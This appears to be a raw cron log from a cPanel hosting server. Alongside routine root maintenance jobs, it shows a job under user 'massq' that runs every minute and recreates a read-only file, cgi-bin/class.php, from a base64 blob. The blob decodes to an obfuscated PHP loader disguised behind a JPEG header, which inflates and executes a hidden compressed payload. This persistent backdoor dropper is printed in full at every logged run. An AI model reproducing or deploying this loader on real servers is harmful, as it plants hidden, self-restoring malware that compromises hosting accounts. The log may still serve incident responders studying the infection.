Sep 10 09:34:01 server CROND[15054]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 09:35:01 server CROND[15429]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 09:35:01 server CROND[15431]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 09:35:01 server CROND[15432]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 10 09:35:01 server CROND[15434]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep 10 09:35:01 server CROND[15440]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 09:35:01 server CROND[15443]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 09:35:01 server CROND[15441]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 09:35:01 server CROND[15439]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 10 09:35:01 server CROND[15442]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 10 09:36:01 server CROND[16254]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 09:36:01 server CROND[16255]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 09:36:01 server CROND[16256]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 09:37:01 server CROND[16724]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 09:37:01 server CROND[16723]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 09:37:01 server CROND[16725]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 09:38:01 server CROND[17097]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 09:38:01 server CROND[17098]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 09:38:01 server CROND[17099]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 09:39:01 server CROND[17468]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 09:39:01 server CROND[17469]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 09:39:01 server CROND[17471]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 09:39:01 server CROND[17470]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 10 09:40:01 server CROND[17844]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 10 09:40:01 server CROND[17847]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 09:40:01 server CROND[17848]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 09:40:01 server CROND[17849]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 09:40:01 server CROND[17850]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 10 09:40:01 server CROND[17851]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 10 09:40:01 server CROND[17853]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 09:40:01 server CROND[17854]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 09:41:01 server CROND[18676]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 09:41:01 server CROND[18677]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 09:41:01 server CROND[18678]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 09:42:01 server CROND[19202]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 09:42:01 server CROND[19203]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 09:42:01 server CROND[19205]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 09:42:01 server CROND[19204]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 10 09:43:01 server CROND[19584]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 09:43:01 server CROND[19585]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 09:43:01 server CROND[19586]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 09:44:01 server CROND[19951]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 09:44:01 server CROND[19952]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 09:44:01 server CROND[19953]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 09:45:01 server CROND[20330]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 10 09:45:01 server CROND[20331]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 09:45:01 server CROND[20337]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 09:45:01 server CROND[20342]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 09:45:01 server CROND[20341]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 09:45:01 server CROND[20338]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
